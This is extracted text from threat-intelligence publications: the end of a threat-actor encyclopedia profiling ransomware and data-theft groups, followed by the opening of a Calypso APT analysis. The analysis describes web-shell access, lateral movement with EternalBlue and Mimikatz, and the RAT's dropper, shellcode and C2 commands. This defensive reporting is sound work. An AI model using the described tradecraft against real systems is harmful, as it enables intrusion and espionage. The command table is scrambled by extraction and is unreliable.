Sectors: Government. Countries: Middle East. Tools used WindTail. Information Threat Group Cards: A Threat Actor Encyclopedia [Unnamed group] Names [Unnamed group] Country Iran Sponsor State-sponsored Motivation Information theft and espionage Description (ClearSky) Over the last few weeks, several significant leaks regarding a number of Iranian APTs took place. After analyzing and investigating the documents we conclude that they are authentic. Consequently, this causes considerable harm to the groups and their operation. The identity of the actor behind the leak is currently unknown, however based on the scope and the quality of the exposed documents and information, it appears that they are professional and highly capable. This leak will likely hamstring the groups' operation in the near future. Accordingly, in our assessment this will minimize the risk of potential attacks in the next few months and possibly even year. Note -most of the leaks are posted on Telegram channels that were created specifically for this purpose. Below are the three main Telegram groups on which the leaks were posted: Observed Lab Dookhtegam pseudonym ("The people whose lips are stitched and sealed" translation from Persian) In this channel attack tools attributed to the group 'OilRig' were leaked; including a webshell that was inserted into the Technion, various tools that were used for DNS attacks, and more. Green Leakers In this channel attack tools attributed to the group 'MuddyWatter' were leaked. The group's name and its symbol are identified with the "green movement", which led the protests in Iran after the Presidential elections in 2009. These protests were heavily repressed by the revolutionary guards (IRGC) Black Box Unlike the previous two channels this has been around for a long time. On Friday May 5th, dozens of confidential documents labeled as "secret" (a high confidentiality level in Iran, one before the highest -top secret) were posted on this channel. The documents were related to Iranian attack groups' activity. Sectors: Airlines, Government, IT and Telecommunications. Countries: Afghanistan, Australia, Azerbaijan, Bahrain, Colombia, Dubai, Egypt, Ethiopia, Fiji, Hong Kong, India, Indonesia, Iraq, Israel, Kenia, Kuwait, Kyrgyzstan, Lebanon, Malaysia, Mauritius, Morocco, New Zealand, Oman, Pakistan, Philippines, Qatar, South Africa, Sri Lanka, Syria, Thailand, Turkey and UAE. Tools used Information Threat Group Cards: A Threat Actor Encyclopedia Some Other Prolific Criminal Groups Achilles Names Achilles (AdvIntel) Country [Unknown] Motivation Financial gain Description This actor may be related to Iridium. (AdvIntel) Achilles is an English-speaking threat actor primarily operating on various English-language underground hacking forums as well as through secure messengers. Achilles specializes in obtaining accesses to high-value corporate internal networks. On May 4, 2019, Achilles claimed to have access to UNICEF network as well as networks of several high-profile corporate entities. They were able to provide evidence of their presence within the UNICEF network and two private sector companies. It is noteworthy that they provided access to networks at a relatively low price range of $5,000 USD to $2,000 USD. The majority of Achilles offers are related to breaches into multinational corporate networks via external VPN and compromised RDPs. Targets include private companies and government organizations, primarily in the British Commonwealth. Achilles has been particularly active on forums through the last seven months, with rising spikes in activities in Fall 2018 and Spring 2019. Observed Sectors: Defense, Government and private sectors. Countries: Australia, UK and USA. Tools used RDP. Operations performed Oct 2018 Information Breach of Navy shipbuilder Austal Threat Group Cards: A Threat Actor Encyclopedia Dungeon Spider Names Dungeon Spider (CrowdStrike) Country [Unknown] Motivation Financial gain Description (CrowdStrike) Dungeon Spider is a criminal group operating the ransomware most commonly known as Locky, which has been active since February 2016 and was last observed in late 2017. Locky is a ransomware tool that encrypts files using a combination of cryptographic algorithms: RSA with a key size of 2,048 bits, and AES with a key size of 128 bits. Locky targets a large number of file extensions and is able to encrypt data on shared network drives. In an attempt to further impact victims and prevent file recovery, Locky deletes all of the Shadow Volume Copies on the machine. Dungeon Spider primarily relies on broad spam campaigns with malicious attachments for distribution. Locky is the community/industry name associated with this actor. Observed Tools used Locky. Information Threat Group Cards: A Threat Actor Encyclopedia Fxmsp Names Fxmsp (self given) Country Russia Motivation Financial gain Description (AdvIntel) Throughout 2017 and 2018, Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground. Some of the known Fxmsp TTPs included accessing network environments via externally available remote desktop protocol (RDP) servers and exposed active directory. Most recently, the actor claimed to have developed a credential-stealing botnet capable of infecting high-profile targets in order to exfiltrate sensitive usernames and passwords. Fxmsp has claimed that developing this botnet and improving its capabilities for stealing information from secured systems is their main goal. Observed Tools used RDP and exposed AD. Operations performed May 2019 Information Breaches of Three Major Anti-Virus Companies Threat Group Cards: A Threat Actor Encyclopedia Gnosticplayers Names Gnosticplayers (self given) Country [Unknown] Motivation Financial gain Description (ZDNet) The hacker said that he put up the data for sale mainly because these companies had failed to protect passwords with strong encryption algorithms like bcrypt. Most of the hashed passwords the hacker put up for sale today can cracked with various levels of difficulty --but they can be cracked. "I got upset because I feel no one is learning," the hacker told ZDNet in an online chat earlier today. "I just felt upset at this particular moment, because seeing this lack of security in 2019 is making me angry." In a conversation with ZDNet last month, the hacker told us he wanted to hack and put up for sale more than one billion records and then retire and disappear with the money. But in a conversation today, the hacker says this is not his target anymore, as he learned that other hackers have already achieved the same goal before him. Gnosticplayers also revealed that not all the data he obtained from hacked companies had been put up for sale. Some companies gave into extortion demands and paid fees so breaches would remain private. "I came to an agreement with some companies, but the concerned startups won't see their data for sale," he said. "I did it that's why I can't publish the rest of my databases or even name them." Observed Tools used Operations performed Feb 2019 620 million accounts stolen from 16 hacked websites now for sale on dark web, seller boasts Feb 2019 127 million user records from 8 companies put up for sale on the dark Feb 2019 Hacker is selling 93 million user records from eight companies, including GfyCat. Mar 2019 Round 4: Hacker returns and puts 26Mil user records for sale on the Dark Web Threat Group Cards: A Threat Actor Encyclopedia Apr 2019 Hacker Gnosticplayers has stolen over 932 million user records from 44 companies May 2019 Australian tech unicorn Canva suffers security breach Threat Group Cards: A Threat Actor Encyclopedia Gold Lowell, Boss Spider Names Gold Lowell (SecureWorks) Boss Spider (CrowdStrike) Country Iran Motivation Financial gain Description (SecureWorks) In late 2015, Secureworks Counter Threat Unit (CTU) researchers began tracking financially motivated campaigns leveraging SamSam ransomware (also known as Samas and SamsamCrypt). CTU researchers associate this activity with the Gold Lowell threat group. Gold Lowell typically scans for and exploits known vulnerabilities in Internet-facing systems to gain an initial foothold in a victim s network. The threat actors then deploy the SamSam ransomware and demand payment to decrypt the victim s files. The consistent tools and behaviors associated with SamSam intrusions since 2015 suggest that Gold Lowell is either a defined group or a collection of closely affiliated threat actors. Applying security updates in a timely manner and regularly monitoring for anomalous behaviors on Internet-facing systems are effective defenses against these tactics. Organizations should also create and test response plans for ransomware incidents and use backup solutions that are resilient to corruption or encryption attempts. Observed Sectors: Government and Healthcare. Tools used Mimikatz, PSExec and SamSam. Counter operations Information Two Iranian Men Indicted for Deploying Ransomware to Extort Hospitals, Municipalities, and Public Institutions, Causing Over $30 Million in Losses (2018) Threat Group Cards: A Threat Actor Encyclopedia Grim Spider Names Grim Spider (CrowdStrike) TEMP.MixMaster (FireEye) Country Russia Motivation Financial gain Description Grim Spider is reportedly associated with Lunar Spider and Wizard Spider. (CrowdStrike) Grim Spider is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a highransom return. This methodology, known as big game hunting, signals a shift in operations for Wizard Spider, a criminal enterprise of which Grim Spider appears to be a cell. The Wizard Spider threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past. Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by Grim Spider and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk s appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD. Observed Tools used Ryuk. Information Threat Group Cards: A Threat Actor Encyclopedia Hacking Team Names Hacking Team (real name) Country Italy Motivation Financial gain Description The many 0-days that had been collected by Hacking Team and which became publicly available during the breach of their organization in 2015, have been used by several APT groups since. (ESET) Since being founded in 2003, the Italian spyware vendor Hacking Team gained notoriety for selling surveillance tools to governments and their agencies across the world. The capabilities of its flagship product, the Remote Control System (RCS), include extracting files from a targeted device, intercepting emails and instant messaging, as well as remotely activating a device s webcam and microphone. The company has been criticized for selling these capabilities to authoritarian governments allegation it has consistently denied. When the tables turned in July 2015, with Hacking Team itself suffering a damaging hack, the reported use of RCS by oppressive regimes was confirmed. With 400GB of internal data including the once-secret list of customers, internal communications, and spyware source code leaked online, Hacking Team was forced to request its customers to suspend all use of RCS, and was left facing an uncertain future. Following the hack, the security community has been keeping a close eye on the company s efforts to get back on its feet. The first reports suggesting Hacking Team s resumed operations came six months later a new sample of Hacking Team s Mac spyware was apparently in the wild. A year after the breach, an investment by a company named Tablem Limited brought changes to Hacking Team s shareholder structure, with Tablem Limited taking 20% of Hacking Team shareholding. Tablem Limited is officially based in Cyprus; however, recent news suggests it has ties to Saudi Arabia. Observed Tools used Information Threat Group Cards: A Threat Actor Encyclopedia Indrik Spider Names Indrik Spider (CrowdStrike) Country [Unknown] Motivation Financial gain Description (CrowdStrike) Indrik Spider is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted Indrik Spider millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware. In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K. s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by Indrik Spider, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy. Observed Tools used Dridex and BitPaymer. Information Threat Group Cards: A Threat Actor Encyclopedia Lunar Spider Names Lunar Spider (CrowdStrike) Country Russia Motivation Financial gain Description Lunar Spider is reportedly associated with Grim Spider and Wizard Spider. (CrowdStrike) On March 17, 2019, CrowdStrike Intelligence observed the use of a new BokBot (developed and operated by Lunar Spider) proxy module in conjunction with TrickBot (developed and operated by Wizard Spider), which may provide Wizard Spider with additional tools to steal sensitive information and conduct fraudulent wire transfers. This activity also provides further evidence to support the existence of a flourishing relationship between these two actors. Observed Tools used BokBot and Vawtrak. Information Threat Group Cards: A Threat Actor Encyclopedia Mummy Spider, TA542 Names Mummy Spider (CrowdStrike) TA542 (Proofpoint) Country [Unknown] Motivation Financial gain Description (Crowdstrike) Mummy Spider is a criminal entity linked to the core development of the malware most commonly known as Emotet or Geodo. First observed in mid2014, this malware shared code with the Bugat (aka Feodo) banking Trojan. However, Mummy Spider swiftly developed the malware s capabilities to include an RSA key exchange for command and control (C2) communication and a modular architecture. Mummy Spider does not follow typical criminal behavioral patterns. In particular, Mummy Spider usually conducts attacks for a few months before ceasing operations for a period of between three and 12 months, before returning with a new variant or version. After a 10 month hiatus, Mummy Spider returned Emotet to operation in December 2016 but the latest variant is not deploying a banking Trojan module with web injects, it is currently acting as a loader delivering other malware packages. The primary modules perform reconnaissance on victim machines, drop freeware tools for credential collection from web browsers and mail clients and a spam plugin for self-propagation. The malware is also issuing commands to download and execute other malware families such as the banking Trojans Dridex and Qakbot. Mummy Spider advertised Emotet on underground forums until 2015, at which time it became private. Therefore, it is highly likely that Emotet is operated solely for use by Mummy Spider or with a small trusted group of customers. Observed Sectors: Energy, Financial, Government, Healthcare, Manufacturing, Shipping and Logistics, Utilities and Technology. Countries: Canada and USA. Tools used Emotet and Geodo. Operations performed 2019 Information Between January 1, 2019, to May 1, 2019, threat actors conducted thousands of malicious email campaigns, hundreds of which were sent to Canadian organizations. While discussions of threats in this region often focus on North America generally or just the United States, nearly 100 campaigns during this period were either specifically targeted at Canadian organizations or were customized for Canadian audiences. Threat Group Cards: A Threat Actor Encyclopedia Operation Comando Names Operation Comando (Palo Alto) Country [Unknown] Motivation Financial gain Description (Palo Alto) In December 2018, Palo Alto Networks Unit 42 researchers identified an ongoing campaign with a strong focus on the hospitality sector, specifically on hotel reservations. Although our initial analysis didn t show any novel or advanced techniques, we did observe strong persistence during the campaign that triggered our curiosity. We followed network traces and pivoted on the information left behind by this actor, such as open directories, document metadata, and binary peculiarities, which enabled us to find a custom-made piece of malware, that we named CapturaTela Our discovery of this malware family shows the reason for the persistent focus on hotel reservations as a primary vector: stealing credit card information from customers. We profiled this threat actor and that has resulted in uncovering not only their delivery mechanisms, but also their arsenal of remote access tools and info-stealing trojans, both acquired from underground forums as well as open source tools found in GitHub repositories. Observed Sectors: Hospitality, specifically on hotel reservations. Countries: Brazil. Tools used CapturaTela. Information Threat Group Cards: A Threat Actor Encyclopedia OurMine Names OurMine (real name) Country Saudi Arabia Motivation Financial gain Description OurMine is known for celebrity internet accounts, often causing cyber vandalism, to advertise their commercial services. (Trend Micro) In light of the recent report detailing its willingness to pay US$250,000 in exchange for the 1.5 terabytes worth of data swiped by hackers from its servers, HBO finds itself dealing with yet another security breach. Known for hijacking prominent social media accounts, the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network. These include accounts for HBO shows, such as Game of Thrones, Girls, and Ballers. This is not the first time that OurMine has claimed responsibility for hacking highprofile social networking accounts. Last year, the group victimized Marvel, The New York Times, and even the heads of some of the biggest technology companies in the world. Mark Zuckerberg, Jack Dorsey, Sundar Pichai, and Daniel Ek the CEOs of Facebook, Twitter, Google and Spotify, respectively have also fallen victim to the hackers, dispelling the notion that a career in software and technology exempts one from being compromised. Observed Tools used Operations performed Information Aug 2017 Breach of VEVO Vevo, the joint venture between Universal Music Group, Sony Music Entertainment, Abu Dhabi Media, Warner Music Group, and Alphabet Inc. (Google s parent company), was just hacked. Roughly 3.12TB worth of internal files have been posted online, and a couple of the documents reviewed by Gizmodo appear sensitive. Sep 2017 Breach of DNS records of WikiLeaks Threat Group Cards: A Threat Actor Encyclopedia Pacha Group Names Pacha Group (Intezer) Country China Motivation Financial gain Description (Intezer) Antd is a miner found in the wild on September 18, 2018. Recently we discovered that the authors from Antd are actively delivering newer campaigns deploying a broad number of components, most of them completely undetected and operating within compromised third party Linux servers. Furthermore, we have observed that some of the techniques implemented by this group are unconventional, and there is an element of sophistication to them. We believe the authors behind this malware are from Chinese origin. We have labeled the undetected Linux.Antd variants, Linux.GreedyAntd and classified the threat actor as Pacha Group. Observed Tools used Antd, DDG, GreedyAntd, Korkerds and XMRig. Operations performed Sep 2018 Intezer has evidence dating back to September 2018 which shows Pacha Group has been using a cryptomining malware that has gone undetected on other engines. May 2019 Pacha Group Competing against Rocke Group for Cryptocurrency Mining Foothold on the Cloud Information Threat Group Cards: A Threat Actor Encyclopedia Pinchy Spider Names Pinchy Spider (CrowdStrike) Country Russia Motivation Financial gain Description (CrowdStrike) CrowdStrike Intelligence has recently observed Pinchy Spider affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes Pinchy Spider and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as game hunting. Pinchy Spider is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. Pinchy Spider sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but Pinchy Spider is also willing to negotiate up to a 70-30 split for sophisticated customers. Observed Tools used GandCrab. Operations performed Jun 2019 Information Yesterday night, a source in the malware community has told ZDNet that the GandCrab RaaS operator formally announced plans to shut down their service within a month. The announcement was made in an official thread on a well-known hacking forum, where the GandCrab RaaS has advertised its service since January 2018, when it formally launched. Threat Group Cards: A Threat Actor Encyclopedia Rocke Names Rocke (Talos) Country China Motivation Financial gain Description (Talos) This threat actor initially came to our attention in April 2018, leveraging both Western and Chinese Git repositories to deliver malware to honeypot systems vulnerable to an Apache Struts vulnerability. In late July, we became aware that the same actor was engaged in another similar campaign. Through our investigation into this new campaign, we were able to uncover more details about the actor. Observed Tools used Apache Struts and Xbash. Operations performed Jan 2019 Palo Alto Networks Unit 42 recently captured and investigated new samples of the Linux coin mining malware used by the Rocke group. The family was suspected to be developed by the Iron cybercrime group and it s also associated with the Xbash malware we reported on in September of 2018. The threat actor Rocke was originally revealed by Talos in August of 2018 and many remarkable behaviors were disclosed in their blog post. The samples described in this report were collected in October of 2018, and since that time the command and control servers they use have been shut down. May 2019 Pacha Group Competing against Rocke Group for Cryptocurrency Mining Foothold on the Cloud May 2019 Over the past month we have seen new features constantly being added to the malware. For instance, in their latest major update, they have added a function that exploits systems running the software development automation server Jenkins to increase their chance of infecting more systems, thereby generating more profits. In addition, they have also evolved their malware by adding new attack stages, as well as new redundancies in its multi-component execution to make it more dynamic and flexible. Information Threat Group Cards: A Threat Actor Encyclopedia Shadow Brokers Names Shadow Brokers (self given) Country Motivation Financial gain Description Breached a server where zero-days accumulated by Equation Group were held, leaked a large section on the internet9 and tried to sell the rest afterward. Most of the published vulnerabilities have since been fixed by the respective vendors, but many have been used by other threat actors. Most notably among the dumps were zero-days such as ETERNALBLUE that were used for the creation of infamous ransomware explosions such as WannaCry and NotPetya. Shadow Brokers turned out to be an ex-NSA contractor. Observed Tools used Operations performed Aug 2016 Initial public dump Oct 2016 Shadow Brokers Whine That Nobody Is Buying Their Hacked NSA Files Oct 2016 Second Shadow Brokers dump released Mar 2017 In March 2017, the ShadowBrokers published a chunk of stolen data that included two frameworks: DanderSpritz and FuzzBunch. Apr 2017 Shadow Brokers leaks show U.S. spies successfully hacked Russian, Iranian targets Apr 2017 New NSA leak may expose its bank spying, Windows exploits Apr 2017 ShadowBrokers Dump More Equation Group Hacks, Auction File Password Sep 2017 ShadowBrokers are back demanding nearly $4m and offering 2 dumps per month Sep 2017 ShadowBrokers Release UNITEDRAKE Malware 9 See ThaiCERT Whitepaper Shadow Broker - Equation Group Hack Threat Group Cards: A Threat Actor Encyclopedia Counter operations Who Was the NSA Contractor Arrested for Leaking the Shadow Brokers Hacking Tools? (2017) Threat Group Cards: A Threat Actor Encyclopedia [Vault 7/8] Names [Vault 7/8] Country Motivation Financial gain Description An unnamed source leaked almost 10,000 documents describing a large number of 0-day vulnerabilities, methodologies and tools that had been collected by the CIA, such as, specifically, the group known as Longhorn, The Lamberts. This leaking was done through WikiLeaks, since March 2017. In weekly publications, the dumps were said to come from Vault 7 and later Vault 8, until his arrest in 2018. Most of the published vulnerabilities have since been fixed by the respective vendors, but many have been used by other threat actors. This actor turned out to be a former CIA software engineer. (WikiLeaks) Today, Tuesday 7 March 2017, WikiLeaks begins its new series of leaks on the U.S. Central Intelligence Agency. Code-named "Vault 7" by WikiLeaks, it is the largest ever publication of confidential documents on the agency. The first full part of the series, "Year Zero", comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA's Center for Cyber Intelligence in Langley, Virgina. It follows an introductory disclosure last month of CIA targeting French political parties and candidates in the lead up to the 2012 presidential election. Recently, the CIA lost control of the majority of its hacking arsenal including malware, viruses, trojans, weaponized "zero day" exploits, malware remote control systems and associated documentation. This extraordinary collection, which amounts to more than several hundred million lines of code, gives its possessor the entire hacking capacity of the CIA. The archive appears to have been circulated among former U.S. government hackers and contractors in an unauthorized manner, one of whom has provided WikiLeaks with portions of the archive. "Year Zero" introduces the scope and direction of the CIA's global covert hacking program, its malware arsenal and dozens of "zero day" weaponized exploits against a wide range of U.S. and European company products, include Apple's iPhone, Google's Android and Microsoft's Windows and even Samsung TVs, which are turned into covert microphones. Observed Tools used Counter operations Information and all updates. Joshua Adam Schulte Charged with the Unauthorized Disclosure of Classified Information and Other Offenses Relating to the Theft of Classified Material from the Central Intelligence Agency (2018) Threat Group Cards: A Threat Actor Encyclopedia Wizard Spider Names Wizard Spider (CrowdStrike) Country Russia Motivation Financial gain Description Wizard Spider is reportedly associated with Grim Spider and Lunar Spider. (Crowdstrike) The Wizard Spider threat group is the Russia-based operator of the TrickBot banking malware. This group represents a growing criminal enterprise of which Grim Spider appears to be a subset. The Lunar Spider threat group is the Eastern European-based operator and developer of the commodity banking malware called BokBot (aka IcedID), which was first observed in April 2017. The BokBot malware provides Lunar Spider affiliates with a variety of capabilities to enable credential theft and wire fraud, through the use of webinjects and a malware distribution function. Observed Tools used Dyre and TrickBot. Information Threat Group Cards: A Threat Actor Encyclopedia Zombie Spider Names Zombie Spider (CrowdStrike) Country Russia Motivation Financial gain Description (CrowdStrike) The primary threat actor, who was tracked by CrowdStrike as Zombie Spider, rose to prominence in the criminal underground under the moniker Peter Severa. The individual behind this handle is Peter Yuryevich LEVASHOV who was arrested in Spain when the final version of Kelihos was taken over in April 2017, and who recently pleaded guilty to operating the botnet for criminal purposes. For several years, pump-and-dump stock scams, dating ruses, credential phishing, money mule recruitment and rogue online pharmacy advertisements were the most common spam themes. In 2017, however, Kelihos was frequently used to spread other malware such as LuminosityLink, Zyklon HTTP, Neutrino, Nymaim, Gozi/ISFB, Panda Zeus, Kronos, and TrickBot. It was also observed spreading ransomware families including Shade, Cerber, and FileCrypt2. Observed Countries: Worldwide. Tools used Kelihos. Counter operations Information Justice Department Announces Actions to Dismantle Kelihos Botnet (2017) Threat Group Cards: A Threat Actor Encyclopedia APPENDIX: Sources Used The following sources have been used to compile this encyclopedia: 1. MISP Threat Actors galaxy 2. MITRE ATT&CK Framework Groups 3. APT Groups and Operations 4. Malpedia 5. ThaiCERT Risk Intelligence archive and extensive searches on the Internet. Threat Group Cards: A Threat Actor Encyclopedia Calypso APT 2019 ptsecurity.com Contents Calypso APT Initial infection vector Lateral movement Attribution Analyzing Calypso RAT malicious code Dropper Installation BAT script Shellcode x86: stager Modules Commands Network code Shellcode x64: stager (base backdoor) Modules Commands Network code Other options Dropper-stager Hussar Initialization Modules FlyingDutchman Conclusion Indicators of compromise Network File indicators Droppers and payload Droppers with the same payload Payload without dropper Hussar FlyingDutchman MITRE ATT&CK Calypso APT The PT Expert Security Center first took note of Calypso in March 2019 during threat hunting. Our specialists collected multiple samples of malware used by the group. They have also identified the organizations hit by the attackers, as well as the attackers' C2 servers. Our data indicates that the group has been active since at least September 2016. The primary goal of the group is theft of confidential data. Main targets are governmental institutions in Brazil, India, Kazakhstan, Russia, Thailand, and Turkey. Our data gives reason to believe that the APT group is of Asian origin.1 See the section "Attribution." Initial infection vector The attackers accessed the internal network of a compromised organization by using an ASPX web shell. They uploaded the web shell by exploiting a vulnerability or, alternately, guessing default credentials for remote access. We managed to obtain live traffic between the attackers and the web shell. Figure 1. Part of the recorded traffic The traffic indicates the attackers connected from IP address 46.166.129.241. That host contains domain tv.teldcomtv.com, the C2 server for the group's trojan. Therefore the hackers use C2 servers not only to control malware, but also to access hosts on compromised infrastructures. The attackers used the web shell to upload utilities1 and malware, 2 execute commands, and distribute malware inside the network. Examples of commands from the traffic are demonstrated in the following screenshot. Figure 2. Commands sent to the web shell See the section "Lateral movement." See the section "Analyzing Calypso RAT malicious code." Lateral movement The group performed lateral movement by using the following publicly available utilities and exploits: SysInternals Nbtscan EarthWorm Mimikatz OS_Check_445 WmiExec ZXPortMap DoublePulsar TCP Port Scanner EternalBlue Netcat EternalRomance QuarksPwDump On compromised computers, the group stored malware and utilities in either C:\RECYCLER or C:\ProgramData. The first option was used only on computers with Windows XP or Windows Server 2003 with NTFS on drive C. The attackers spread within the network either by exploiting vulnerability MS17-010 or by using stolen credentials. In one instance, 13 days after the attackers got inside the network, they used DCSync and Mimikatz to obtain the Kerberos ticket of the domain administrator, "passing the ticket" to infect more computers. Figure 3. Obtaining account data via DCSync Use of such utilities is common for many APT groups. Most of those utilities are legitimate ones used by network administrators. This allows the attackers to stay undetected longer. Attribution In one attack, the group used Calypso RAT, PlugX, and the Byeby trojan. Calypso RAT is malware unique to the group and will be analyzed in detail in the text that follows. PlugX has traditionally been used by many APT groups of Asian origin. Use of PlugX in itself does not point to any particular group, but is overall consistent with an Asian origin. The Byeby trojan1 was used in the SongXY malware campaign back in 2017. The version used now is modified from the original. The group involved in the original campaign is also of Asian origin. It performed targeted attacks on defense and government-related targets in Russia and the CIS countries. However, we did not find any clear-cut connection between the two campaigns. When we analyzed the traffic between the attackers' server and the web shell, we found that the attackers used a non-anonymous proxy server. The X-Forwarded-For header passed the attackers' IP address (36.44.74.47). This address would seem to be genuine (more precisely, the first address in a chain of proxy servers). unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ Figure 4. Headers of requests to the web shell The IP address belongs to China Telecom. We believe the attackers could have been careless and set up the proxy server incorrectly, thus disclosing their real IP address. This is the first piece of evidence supporting the Asian origins of the group. Figure 5. Information on the discovered IP address The attackers also left behind a number of system artifacts, plus traces in utility configurations and auxiliary scripts. These are also indicative of the group's origin. For instance, one of the DoublePulsar configuration files contained external IP address 103.224.82.47, presumably for testing. But all other configuration files contained internal addresses. Figure 6. IP address found in the DoublePulsar configuration This IP address belongs to a Chinese provider, like the one before, and it was most likely left there due to the attackers' carelessness. This constitutes additional evidence of the group's Asian origins. Figure 7. Information on the discovered IP address We also found BAT scripts that launched ZXPortMap and EarthWorm for port forwarding. Inside we found network indicators www.sultris.com and 46.105.227.110. Figure 8. Network indicators found in the BAT scripts The domain in question was used for more than just tunneling: it also served as C2 server for the PlugX malware we found on the compromised system. As already mentioned, PlugX is traditionally used by groups of Asian origin, which constitutes yet more evidence. Therefore we can say that the malware and network infrastructure used all point to the group having an Asian origin. Analyzing Calypso RAT malicious code The structure of the malware and the process of installing it on the hosts of a compromised network look as follows: Figure 9. Malware structure and installation process Dropper The dropper extracts the payload as an installation BAT script and CAB archive, and saves it to disk. The payload inside the dropper has a magic header that the dropper searches for. The following figure shows an example of the payload structure. Figure 10. Structure of the payload hard-coded in the dropper The dropper encrypts and decrypts data with a self-developed algorithm that uses CRC32 as a pseudorandom number generator (PRNG). The algorithm performs arithmetic (addition and subtraction) between the generated data and the data that needs to be encrypted or decrypted. Figure 11. Dropper with original encryption and decryption algorithm Now decrypted, the payload is saved to disk at %ALLUSERSPROFILE;\TMP_%d%d, where the last two numbers are replaced by random numbers returned by the rand() function. Depending on the configuration, the CAB archive contains one of three possibilities: a DLL and encrypted shellcode, a DLL with encoded loader in the resources, or an EXE file. We were unable to detect any instances of the last variant. Installation BAT script The BAT script is encoded by substitution from a preset dictionary of characters; this dictionary is initialized in a variable in the installation script. Figure 12. Example of installation script obfuscation In the decoded script, we can see comments hinting at the main functions of the script: REM Goto temp directory & extract file (go to TEMP directory and extract files there) REM Uninstall old version (uninstall the old version) REM Copy file (copy file) REM Run pre-install script (run the installation BAT script) REM Create service (create a service launching the malware at system startup) REM Create Registry Run (create value in the registry branch for autostart) At the beginning of each script we can see a set of variables. The script uses these variables to save files, modify services, and modify registry keys. Figure 13. Initializing variables in deobfuscated script In one of the oldest samples, compiled in 2016, we found a script containing comments for how to configure each variable. Figure 14. Early version of the script with comments Shellcode x86: stager In most of the analyzed samples, the dropper was configured to execute shellcode. The dropper saved the DLL and encrypted shellcode to disk. The shellcode name was always identical to that of the DLL, but had the extension .dll.crt. The shellcode is encrypted with the same algorithm as the payload in the dropper. The shellcode acts as a stager providing the interface for communicating with C2 and for downloading modules. It can communicate with C2 via TCP and SSL. SSL is implemented via the mbed_tls library. Initial analysis of the shellcode revealed that, in addition to dynamically searching for API functions, it runs one more operation that repeats the process of PE file address relocation. The structure of the relocation table is also identical to that found in the PE file. Figure 15. Shellcode relocations Since the process of shellcode address relocation repeats that of the PE file, we can assume that initially the malware is compiled into a PE file, and then the builder turns it into shellcode. Debugging information found inside the shellcode supports that assumption. Figure 16. Debugging information inside the shellcode API functions are searched for dynamically and addresses are relocated, after which the configuration hard-coded inside the shellcode is parsed. The configuration contains information about the C2 server address, protocol used, and connection type. Figure 17. Example of shellcode configuration Next the shellcode creates a connection to C2. A random packet header is created and sent to C2. In response the malware receives a network key, saves it, and then uses it every time when communicating with C2. Then the information about the infected computer is collected and sent to C2. Next three threads are launched. One is a heartbeat sending an empty packet to C2 every 54 seconds. The other processes and executes commands from C2. As for the third thread, we could not figure out its purpose, because the lines implementing its functionality were removed from the code. All we can tell is that this thread was supposed to "wake up" every 54 seconds, just like the first one. Modules We have not found any modules so far. But we can understand their functionality by analyzing the code responsible for communication between the shellcode and the modules. Each module is shellcode which is given control over the zero offset of the address. Each module exists in its own separate container. The container is a process with loaded module inside. By default, the process is svchost.exe. When a container is created, it is injected with a small shellcode that causes endless sleep. This is also hard-coded in the main shellcode, and more specifically in JustWait. pdb, most likely. The module is placed inside with an ordinary writeprocess and is launched either with NtCreateThreadEx or, on pre-Vista operating systems, CreateRemoteThread. Two pipes are created for each module. One is for transmitting the data from the module to C2; the other for receiving data from C2. Quite likely the modules do not have their own network code and instead use the pipes to communicate with external C2 through the main shellcode. Figure 18. Creating pipes for modules Each module has a unique ID assigned by C2. Containers are launched in different ways. A container can be launched in a specific session open in the OS or in the same session as the stager. In any particular session, the container is launched by getting the handle for the session token of a logged-in user, and then launching the process as that user. Figure 19. Creating container process in a different session Commands The malware we studied can process 12 commands. All of them involve modules in one way or another. Here is a list of all IDs of commands found in the malware, along with those that the malware itself sends in various situations. Direction Type Description Create module descriptor. This command contains information on the module size and ID. It also allo- 0x401 From Command cates memory for the module data. The command is likely the first in the chain of commands used for loading a module Accept module data, and if all data is accepted, 0x402 From Command launch the module inside a container running in the same session as the stager 0x403 From Command 0x404 From C2 Command 0x405 From Command Same as 0x402, but the module is launched in a container running in a different session Write data to pipe for module launched inside a container running in the same session as the stager Write data to pipe for module launched inside a container in a different session Generate a constant by calling GetTickCount() and 0x409 From Command save it. This constant is used in the third thread, mentioned already, whose purpose we were unable to discern Launch the module if the buffer size stored in the module descriptor equals the module size. Does not From Command accept data (unlike commands 0 402 and 0 403). The module is launched inside a container running in the same session as the stager From Command Same as 0x201, but the module is launched in a container running in a different session Close all pipes related to a specific module running From Command inside a container launched in the same session as the stager From Command 0x206 From Command Same as 0x203, but for a module running in a container launched in a different session Collect information on sessions open in the system (such as session IDs and computer names) and send it to C2 0x409 0x103 0x302 0x406 0x407 0x308 From From the malware From the malware From the malware From 